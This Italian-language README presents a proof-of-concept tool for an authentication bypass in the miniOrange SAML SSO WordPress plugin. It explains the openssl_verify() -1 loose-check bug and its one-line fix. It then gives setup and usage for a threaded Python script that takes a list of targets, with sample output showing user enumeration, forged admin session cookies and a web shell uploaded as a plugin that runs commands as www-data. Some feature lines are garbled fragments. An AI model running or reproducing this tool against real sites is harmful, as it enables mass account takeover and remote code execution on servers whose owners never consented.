
SAML Single Sign On <= 5.4.4 - Bypass dell'autenticazione senza autenticazione tramite il parametro SAMLResponse
SAML Single Sign On <= 5.4.4 - Bypass dell'autenticazione non autenticato tramite il parametro SAMLResponse
Exploit Proof-of-Concept
Firma malformata → openssl_verify() restituisce -1 → cast lasco PHP a true → wp_set_auth_cookie() come Amministratore
| Campo | Dettaglio |
|---|---|
| CVE ID | CVE-2026-15981 |
| Plugin interessato | miniOrange SAML 2.0 Single Sign On – SSO Login (WordPress) |
| Versioni interessate | Tutte le versioni fino alla 5.4.4 inclusa |
| Tipo | Bypass dell'autenticazione non autenticato |
| CWE | CWE-287: Autenticazione impropria / CWE-305: Bypass dell'autenticazione tramite debolezza primaria |
| CVSS 3.1 | 9.8 CRITICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticazione | Non richiesta |
Il plugin SAML Single Sign On – SSO Login per WordPress è vulnerabile al Bypass dell'autenticazione in tutte le versioni fino alla 5.4.4 inclusa. Ciò è dovuto alla funzione mo_saml_validate_signature() che esegue un controllo booleano lasco sull'intero grezzo a tre stati restituito da openssl_verify() di PHP, facendo sì che un valore di errore pari a -1 venga valutato come truthy e quindi trattato come una verifica della firma riuscita.
Ciò consente ad attaccanti non autenticati di accedere come qualsiasi utente WordPress esistente, inclusi gli amministratori, inviando una SAMLResponse appositamente predisposta contenente un NameID controllato dall'attaccante e un valore di firma deliberatamente malformato che innesca un errore di elaborazione OpenSSL — bypassando completamente la verifica e portando alla chiamata di wp_set_auth_cookie() per l'account preso di mira.
Attacker sends crafted SAMLResponse
│
▼
mo_saml_validate_signature()
│
▼
openssl_verify($data, $malformed_sig, $key)
│
├─ Returns 1 → valid signature ✓
├─ Returns 0 → invalid signature ✗
└─ Returns -1 → OpenSSL internal error
│
▼
PHP loose comparison: if ($result)
│
├─ (int) 1 → true ✓
├─ (int) 0 → false ✓
└─ (int) -1 → true ← BUG: error treated as success
│
▼
wp_set_auth_cookie() called
│
▼
Attacker is now Administrator
La correzione è banale — if ($result === 1) invece di if ($result) — ma l'impatto della falla è il bypass totale dell'autenticazione.
?option=mosaml_metadata/wp-json/wp/v2/users)/?author=N)?option=saml_user_login ed estrae gli URL base IdPlxml</Issuer> secondo la specifica SAMLopenssl_verify() = -1wordpress_logged_in_* dopo ogni tentativo/wp-admin/, /wp-admin/users.php, /wp-admin/plugins.php/wp-admin/profile.phpplugin-install.php/wp-json/wp/v2/pluginsNx-zD nel corpo della rispostaPython >= 3.8
pip install requests lxml
lxmlè necessario per una corretta canonicalizzazione Exclusive C14N dell'asserzione SAML.
python CVE-2026-15981.py
Ti verrà chiesto di fornire:
| Richiesta | Descrizione | Predefinito |
|---|---|---|
| File dei target | Percorso di un file di testo con un target per riga | list.txt |
| Thread | Numero di worker concorrenti (1–100) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
Un URL per riga. Se non viene specificato alcuno schema, viene utilizzato HTTP per impostazione predefinita.
███████╗███╗ ███╗███████╗
██╔════╝████╗ ████║██╔════╝
███████╗██╔████╔██║███████╗
╚════██║██║╚██╔╝██║╚════██║
███████║██║ ╚═╝ ██║███████║
╚══════╝╚═╝ ╚═╝╚══════╝
╔══════════════════════════════════════════════════════════╗
║ miniOrange SAML SSO <= 5.4.4 ║
║ openssl_verify() -1 Bypass -> Admin Session ║
╚══════════════════════════════════════════════════════════╝
By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
T.m @Kxploit
Ogni target avanza attraverso 7 fasi etichettate:
============================================================
target.com
============================================================
[1] WordPress
confirmed
[2] SAML plugin
version: 5.4.4
miniOrange SAML detected
[3] SP metadata
metadata entityID: https://target.com/...
metadata ACS: https://target.com/
[4] Users
REST: admin (id=1)
REST: editor (id=2)
author/3: johndoe
4 found: ['admin', 'editor', 'johndoe', 'target']
[5] Issuers
SSO redirect found
3 candidates
[6] Exploit
COOKIE! #14 user=admin 0xFF*256/rsa-sha256
wordpress_logged_in_abc123=admin%7C1753...
wp-admin accessible
user=admin [email protected]
users.php -> Admin
[7] Shell upload
M1: plugin uploaded
SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
-> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...